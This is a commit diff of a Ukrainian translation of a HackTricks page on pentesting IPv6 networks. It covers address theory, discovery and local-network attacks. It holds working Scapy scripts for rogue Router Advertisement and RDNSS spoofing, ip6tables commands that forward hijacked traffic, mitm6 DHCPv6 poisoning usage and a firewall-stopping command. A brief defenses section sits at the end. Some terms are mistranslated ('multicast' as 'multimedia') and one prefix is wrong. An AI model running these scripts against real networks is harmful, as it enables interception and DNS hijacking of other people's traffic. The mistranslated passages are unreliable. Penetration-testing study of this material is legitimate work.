mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
0affdb4060
commit
411573fa02
@ -1,16 +1,18 @@
|
|||||||
|
# Pentesting IPv6
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
# Основи теорії IPv6
|
## Основи теорії IPv6
|
||||||
|
|
||||||
## Мережі
|
### Мережі
|
||||||
|
|
||||||
IPv6 адреси структуровані для покращення організації мережі та взаємодії пристроїв. IPv6 адреса ділиться на:
|
IPv6 адреси структуровані для покращення організації мережі та взаємодії пристроїв. IPv6 адреса ділиться на:
|
||||||
|
|
||||||
1. **Префікс мережі**: Перші 48 біт, що визначають сегмент мережі.
|
1. **Префікс мережі**: Перші 48 біт, що визначають сегмент мережі.
|
||||||
2. **ID підмережі**: Наступні 16 біт, що використовуються для визначення конкретних підмереж у межах мережі.
|
2. **ID підмережі**: Наступні 16 біт, що використовуються для визначення конкретних підмереж у межах мережі.
|
||||||
3. **Ідентифікатор інтерфейсу**: Останні 64 біти, які унікально ідентифікують пристрій у підмережі.
|
3. **Ідентифікатор інтерфейсу**: Останні 64 біти, які унікально ідентифікують пристрій у межах підмережі.
|
||||||
|
|
||||||
Хоча IPv6 не має протоколу ARP, що використовується в IPv4, він вводить **ICMPv6** з двома основними повідомленнями:
|
Хоча IPv6 не містить протокол ARP, що є в IPv4, він вводить **ICMPv6** з двома основними повідомленнями:
|
||||||
|
|
||||||
- **Запит сусіда (NS)**: Мультимедійні повідомлення для розв'язання адрес.
|
- **Запит сусіда (NS)**: Мультимедійні повідомлення для розв'язання адрес.
|
||||||
- **Реклама сусіда (NA)**: Уніicast відповіді на NS або спонтанні оголошення.
|
- **Реклама сусіда (NA)**: Уніicast відповіді на NS або спонтанні оголошення.
|
||||||
@ -18,7 +20,7 @@ IPv6 адреси структуровані для покращення орг
|
|||||||
IPv6 також включає спеціальні типи адрес:
|
IPv6 також включає спеціальні типи адрес:
|
||||||
|
|
||||||
- **Адреса циклічного з'єднання (`::1`)**: Еквівалентна `127.0.0.1` в IPv4, для внутрішньої комунікації в межах хоста.
|
- **Адреса циклічного з'єднання (`::1`)**: Еквівалентна `127.0.0.1` в IPv4, для внутрішньої комунікації в межах хоста.
|
||||||
- **Локальні адреси зв'язку (`FE80::/10`)**: Для локальних мережевих активностей, не для маршрутизації в інтернеті. Пристрої в одній локальній мережі можуть виявляти один одного, використовуючи цей діапазон.
|
- **Локальні адреси зв'язку (`FE80::/10`)**: Для локальних мережевих дій, не для маршрутизації в інтернеті. Пристрої в одній локальній мережі можуть виявляти один одного, використовуючи цей діапазон.
|
||||||
|
|
||||||
### Практичне використання IPv6 у мережевих командах
|
### Практичне використання IPv6 у мережевих командах
|
||||||
|
|
||||||
@ -38,7 +40,7 @@ alive6 eth0
|
|||||||
```
|
```
|
||||||
IPv6 адреси можуть бути отримані з MAC-адреси пристрою для локальної комунікації. Ось спрощений посібник про те, як отримати Link-local IPv6 адресу з відомої MAC-адреси, а також короткий огляд типів IPv6 адрес і методів виявлення IPv6 адрес у мережі.
|
IPv6 адреси можуть бути отримані з MAC-адреси пристрою для локальної комунікації. Ось спрощений посібник про те, як отримати Link-local IPv6 адресу з відомої MAC-адреси, а також короткий огляд типів IPv6 адрес і методів виявлення IPv6 адрес у мережі.
|
||||||
|
|
||||||
## **Отримання Link-local IPv6 з MAC-адреси**
|
### **Отримання Link-local IPv6 з MAC-адреси**
|
||||||
|
|
||||||
Дано MAC-адресу **`12:34:56:78:9a:bc`**, ви можете побудувати Link-local IPv6 адресу наступним чином:
|
Дано MAC-адресу **`12:34:56:78:9a:bc`**, ви можете побудувати Link-local IPv6 адресу наступним чином:
|
||||||
|
|
||||||
@ -46,66 +48,232 @@ IPv6 адреси можуть бути отримані з MAC-адреси п
|
|||||||
2. Додайте `fe80::` і вставте `fffe` посередині: **`fe80::1234:56ff:fe78:9abc`**
|
2. Додайте `fe80::` і вставте `fffe` посередині: **`fe80::1234:56ff:fe78:9abc`**
|
||||||
3. Інвертуйте сьомий біт зліва, змінивши `1234` на `1034`: **`fe80::1034:56ff:fe78:9abc`**
|
3. Інвертуйте сьомий біт зліва, змінивши `1234` на `1034`: **`fe80::1034:56ff:fe78:9abc`**
|
||||||
|
|
||||||
## **Типи IPv6 адрес**
|
### **Типи IPv6 адрес**
|
||||||
|
|
||||||
- **Унікальна локальна адреса (ULA)**: Для локальних комунікацій, не призначена для маршрутизації в публічному інтернеті. Префікс: **`FEC00::/7`**
|
- **Унікальна локальна адреса (ULA)**: Для локальних комунікацій, не призначена для маршрутизації в публічному інтернеті. Префікс: **`FEC00::/7`**
|
||||||
- **Мультимовна адреса**: Для комунікації один-до-багатьох. Доставляється до всіх інтерфейсів у мультимовній групі. Префікс: **`FF00::/8`**
|
- **Мультимедійна адреса**: Для комунікації один-до-багатьох. Доставляється до всіх інтерфейсів у групі мультимедіа. Префікс: **`FF00::/8`**
|
||||||
- **Адреса Anycast**: Для комунікації один-до-найближчого. Надсилається до найближчого інтерфейсу відповідно до маршрутизаційного протоколу. Частина глобального унікального діапазону **`2000::/3`**.
|
- **Адреса anycast**: Для комунікації один-до-найближчого. Надсилається до найближчого інтерфейсу відповідно до маршрутизаційного протоколу. Частина глобального унікального діапазону **`2000::/3`**.
|
||||||
|
|
||||||
## **Префікси адрес**
|
### **Префікси адрес**
|
||||||
|
|
||||||
- **fe80::/10**: Link-Local адреси (схожі на 169.254.x.x)
|
- **fe80::/10**: Link-Local адреси (схожі на 169.254.x.x)
|
||||||
- **fc00::/7**: Унікальний локальний унікаст (схожий на приватні діапазони IPv4, такі як 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
- **fc00::/7**: Унікальний локальний унікаст (схожий на приватні діапазони IPv4, такі як 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||||
- **2000::/3**: Глобальний унікаст
|
- **2000::/3**: Глобальний унікаст
|
||||||
- **ff02::1**: Мультимовна адреса для всіх вузлів
|
- **ff02::1**: Мультимедійна адреса для всіх вузлів
|
||||||
- **ff02::2**: Мультимовна адреса для маршрутизаторів
|
- **ff02::2**: Мультимедійна адреса для маршрутизаторів
|
||||||
|
|
||||||
## **Виявлення IPv6 адрес у мережі**
|
### **Виявлення IPv6 адрес у мережі**
|
||||||
|
|
||||||
### Спосіб 1: Використання Link-local адрес
|
#### Спосіб 1: Використання Link-local адрес
|
||||||
|
|
||||||
1. Отримайте MAC-адресу пристрою в мережі.
|
1. Отримайте MAC-адресу пристрою в мережі.
|
||||||
2. Отримайте Link-local IPv6 адресу з MAC-адреси.
|
2. Отримайте Link-local IPv6 адресу з MAC-адреси.
|
||||||
|
|
||||||
### Спосіб 2: Використання мультимовлення
|
#### Спосіб 2: Використання мультимедіа
|
||||||
|
|
||||||
1. Надішліть пінг на мультимовну адресу `ff02::1`, щоб виявити IPv6 адреси в локальній мережі.
|
1. Надішліть пінг на мультимедійну адресу `ff02::1`, щоб виявити IPv6 адреси в локальній мережі.
|
||||||
```bash
|
```bash
|
||||||
service ufw stop # Stop the firewall
|
service ufw stop # Stop the firewall
|
||||||
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
|
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
|
||||||
ip -6 neigh # Display the neighbor table
|
ip -6 neigh # Display the neighbor table
|
||||||
```
|
```
|
||||||
## IPv6 Man-in-the-Middle (MitM) Attacks
|
### IPv6 Man-in-the-Middle (MitM) Attacks
|
||||||
|
|
||||||
Існує кілька технік для виконання атак MitM в мережах IPv6, таких як:
|
Існує кілька технік для виконання MitM-атак в мережах IPv6, таких як:
|
||||||
|
|
||||||
- Підробка ICMPv6 сусідніх або маршрутизаторських оголошень.
|
- Підробка ICMPv6 сусідів або рекламних оголошень маршрутизаторів.
|
||||||
- Використання ICMPv6 перенаправлень або повідомлень "Пакет занадто великий" для маніпуляції маршрутизацією.
|
- Використання ICMPv6 перенаправлень або повідомлень "Пакет занадто великий" для маніпуляції маршрутизацією.
|
||||||
- Атака на мобільний IPv6 (зазвичай вимагає вимкнення IPSec).
|
- Атака на мобільний IPv6 (зазвичай вимагає вимкнення IPSec).
|
||||||
- Налаштування підробленого DHCPv6 сервера.
|
- Налаштування підробленого DHCPv6 сервера.
|
||||||
|
|
||||||
# Identifying IPv6 Addresses in the eild
|
## Identifying IPv6 Addresses in the eild
|
||||||
|
|
||||||
## Exploring Subdomains
|
### Exploring Subdomains
|
||||||
|
|
||||||
Метод для знаходження піддоменів, які потенційно пов'язані з адресами IPv6, полягає у використанні пошукових систем. Наприклад, використання шаблону запиту, такого як `ipv6.*`, може бути ефективним. Конкретно, наступна команда пошуку може бути використана в Google:
|
Метод для знаходження піддоменів, які потенційно пов'язані з адресами IPv6, полягає у використанні пошукових систем. Наприклад, використання шаблону запиту, такого як `ipv6.*`, може бути ефективним. Конкретно, наступна команда пошуку може бути використана в Google:
|
||||||
```bash
|
```bash
|
||||||
site:ipv6./
|
site:ipv6./
|
||||||
```
|
```
|
||||||
## Використання DNS Запитів
|
### Використання DNS Запитів
|
||||||
|
|
||||||
Щоб ідентифікувати IPv6 адреси, можна запитувати певні типи DNS записів:
|
Щоб ідентифікувати IPv6 адреси, можна запитувати певні типи DNS записів:
|
||||||
|
|
||||||
- **AXFR**: Запитує повний трансфер зони, що може виявити широкий спектр DNS записів.
|
- **AXFR**: Запит на повний трансфер зони, що потенційно виявляє широкий спектр DNS записів.
|
||||||
- **AAAA**: Безпосередньо шукає IPv6 адреси.
|
- **AAAA**: Безпосередньо шукає IPv6 адреси.
|
||||||
- **ANY**: Широкий запит, який повертає всі доступні DNS записи.
|
- **ANY**: Широкий запит, який повертає всі доступні DNS записи.
|
||||||
|
|
||||||
## Пробивання з Ping6
|
### Пробивання з Ping6
|
||||||
|
|
||||||
Після визначення IPv6 адрес, пов'язаних з організацією, можна використовувати утиліту `ping6` для пробивання. Цей інструмент допомагає оцінити реакцію виявлених IPv6 адрес і може також допомогти виявити сусідні IPv6 пристрої.
|
Після визначення IPv6 адрес, пов'язаних з організацією, можна використовувати утиліту `ping6` для пробивання. Цей інструмент допомагає оцінити реакцію виявлених IPv6 адрес і може також допомогти в знаходженні сусідніх IPv6 пристроїв.
|
||||||
|
|
||||||
|
## Техніки Атак на Локальну Мережу IPv6
|
||||||
|
|
||||||
|
Наступні розділи охоплюють практичні атаки на рівні 2 IPv6, які можна виконати **всередині одного /64 сегмента** без знання будь-якого глобального префікса. Усі пакети, показані нижче, є **link-local** і подорожують лише через локальний комутатор, що робить їх надзвичайно непомітними в більшості середовищ.
|
||||||
|
|
||||||
|
### Налаштування Системи для Стабільної Лабораторії
|
||||||
|
|
||||||
|
Перед тим, як грати з IPv6 трафіком, рекомендується зміцнити вашу систему, щоб уникнути отруєння вашими власними тестами та отримати найкращу продуктивність під час масового впорскування/перехоплення пакетів.
|
||||||
|
```bash
|
||||||
|
# Enable promiscuous mode to capture all frames
|
||||||
|
sudo ip link set dev eth0 promisc on
|
||||||
|
|
||||||
|
# Ignore rogue Router Advertisements & Redirects coming from the segment
|
||||||
|
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
|
||||||
|
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
|
||||||
|
|
||||||
|
# Increase fd / backlog limits when generating lots of traffic
|
||||||
|
sudo sysctl -w fs.file-max=100000
|
||||||
|
sudo sysctl -w net.core.somaxconn=65535
|
||||||
|
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
|
||||||
|
```
|
||||||
|
### Пасивне NDP та DHCPv6 Сніфінг
|
||||||
|
|
||||||
|
Оскільки кожен хост IPv6 **автоматично приєднується до кількох мультикаст-груп** (`ff02::1`, `ff02::2`, …) і використовує ICMPv6 для SLAAC/NDP, ви можете відобразити весь сегмент, не відправляючи жодного пакета. Наступний однорядковий код на Python/Scapy слухає найцікавіші L2 повідомлення та виводить кольоровий, з позначкою часу журнал того, хто є хто:
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
from scapy.all import *
|
||||||
|
from scapy.layers.dhcp6 import *
|
||||||
|
from datetime import datetime
|
||||||
|
from colorama import Fore, Style, init
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
init(autoreset=True)
|
||||||
|
|
||||||
|
# Human-readable names for protocols we care about
|
||||||
|
DHCP6_TYPES = {
|
||||||
|
DHCP6_Solicit: 'Solicit',
|
||||||
|
DHCP6_Advertise: 'Advertise',
|
||||||
|
DHCP6_Request: 'Request',
|
||||||
|
DHCP6_Reply: 'Reply',
|
||||||
|
DHCP6_Renew: 'Renew',
|
||||||
|
DHCP6_Rebind: 'Rebind',
|
||||||
|
DHCP6_RelayForward:'Relay-Forward',
|
||||||
|
DHCP6_RelayReply: 'Relay-Reply'
|
||||||
|
}
|
||||||
|
ICMP6_TYPES = {
|
||||||
|
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
|
||||||
|
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
|
||||||
|
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
|
||||||
|
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
|
||||||
|
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
|
||||||
|
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
|
||||||
|
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
|
||||||
|
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
|
||||||
|
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
|
||||||
|
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
|
||||||
|
}
|
||||||
|
|
||||||
|
def handler(pkt):
|
||||||
|
eth_src = pkt[Ether].src if Ether in pkt else '?'
|
||||||
|
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
|
||||||
|
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
|
||||||
|
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
|
||||||
|
|
||||||
|
# Identify protocol family first
|
||||||
|
for proto,(desc,color) in ICMP6_TYPES.items():
|
||||||
|
if proto in pkt:
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
|
||||||
|
for dhcp_t,name in DHCP6_TYPES.items():
|
||||||
|
if dhcp_t in pkt:
|
||||||
|
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
|
||||||
|
else:
|
||||||
|
return # not a DHCPv6 message we track
|
||||||
|
else:
|
||||||
|
return # not interesting
|
||||||
|
|
||||||
|
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
|
||||||
|
print(f" MAC {eth_src} -> {eth_dst}")
|
||||||
|
print(f" IPv6 {ip6_src} -> {ip6_dst}")
|
||||||
|
print('-'*60)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
|
||||||
|
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
|
||||||
|
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
|
||||||
|
a = argp.parse_args()
|
||||||
|
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
|
||||||
|
```
|
||||||
|
Результат: повна **link-local топологія** (MAC ⇄ IPv6) за лічені секунди, без активації систем IPS/IDS, які покладаються на активні сканування.
|
||||||
|
|
||||||
|
### Спуфінг оголошень маршрутизатора (RA)
|
||||||
|
|
||||||
|
IPv6 хости покладаються на **ICMPv6 оголошення маршрутизаторів** для виявлення шлюзу за замовчуванням. Якщо ви інжектуєте підроблені RA **частіше**, ніж легітимний маршрутизатор, пристрої безшумно переключаться на вас як на шлюз.
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
from scapy.all import *
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
p = argparse.ArgumentParser()
|
||||||
|
p.add_argument('-i','--interface',required=True)
|
||||||
|
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
|
||||||
|
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
|
||||||
|
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
|
||||||
|
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
|
||||||
|
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
|
||||||
|
args = p.parse_args()
|
||||||
|
|
||||||
|
lifetime = 0 if args.revert else args.lifetime
|
||||||
|
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
|
||||||
|
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
|
||||||
|
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
|
||||||
|
|
||||||
|
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||||
|
```
|
||||||
|
Щоб насправді **переслати трафік** після виграшу в гонці:
|
||||||
|
```bash
|
||||||
|
sudo sysctl -w net.ipv6.conf.all.forwarding=1
|
||||||
|
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
|
||||||
|
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||||
|
```
|
||||||
|
### RDNSS (DNS) Спуфінг через RA
|
||||||
|
|
||||||
|
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) дозволяє додавати опцію **Recursive DNS Server (RDNSS)** всередині RA. Сучасні ОС (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) автоматично довіряють їй:
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
from scapy.all import *
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
p = argparse.ArgumentParser()
|
||||||
|
p.add_argument('-i','--interface',required=True)
|
||||||
|
p.add_argument('--llip',required=True)
|
||||||
|
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
|
||||||
|
p.add_argument('--lifetime',type=int,default=600)
|
||||||
|
p.add_argument('--interval',type=int,default=5)
|
||||||
|
args = p.parse_args()
|
||||||
|
|
||||||
|
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
|
||||||
|
ICMPv6ND_RA(routerlifetime=0)/
|
||||||
|
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
|
||||||
|
|
||||||
|
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||||
|
```
|
||||||
|
Клієнти **додають** ваш DNS до свого списку резолверів на вказаний термін, надаючи повний DNS-хайджекінг до закінчення терміну дії або поки ви не надішлете `lifetime=0` для скасування.
|
||||||
|
|
||||||
|
### DHCPv6 DNS Спуфінг (mitm6)
|
||||||
|
|
||||||
|
Замість SLAAC, мережі Windows часто залежать від **безстанційного DHCPv6** для DNS. [mitm6](https://github.com/rofl0r/mitm6) автоматично відповідає на повідомлення `Solicit` з потоком **Advertise → Reply**, який призначає **вашу локальну адресу як DNS на 300 секунд**. Це відкриває:
|
||||||
|
|
||||||
|
* Атаки NTLM реле (WPAD + DNS хайджекінг)
|
||||||
|
* Перехоплення внутрішнього розв'язання імен без втручання в маршрутизатори
|
||||||
|
|
||||||
|
Типове використання:
|
||||||
|
```bash
|
||||||
|
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||||||
|
```
|
||||||
|
### Захист
|
||||||
|
|
||||||
|
* **RA Guard / DHCPv6 Guard / ND Inspection** на керованих комутаторах.
|
||||||
|
* ACL портів, які дозволяють лише легітимному MAC-адресу маршрутизатора надсилати RAs.
|
||||||
|
* Моніторинг **неконтрольованих високих RAs** або раптових **змін RDNSS**.
|
||||||
|
* Вимкнення IPv6 на кінцевих пристроях є тимчасовим рішенням, яке часто порушує роботу сучасних сервісів і приховує сліпі зони – віддавайте перевагу L2 фільтрації.
|
||||||
|
|
||||||
## Посилання
|
## Посилання
|
||||||
|
|
||||||
|
- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
|
||||||
|
- [mitm6](https://github.com/rofl0r/mitm6)
|
||||||
|
- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
|
||||||
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
|
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
|
||||||
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
|
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
|
||||||
|
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user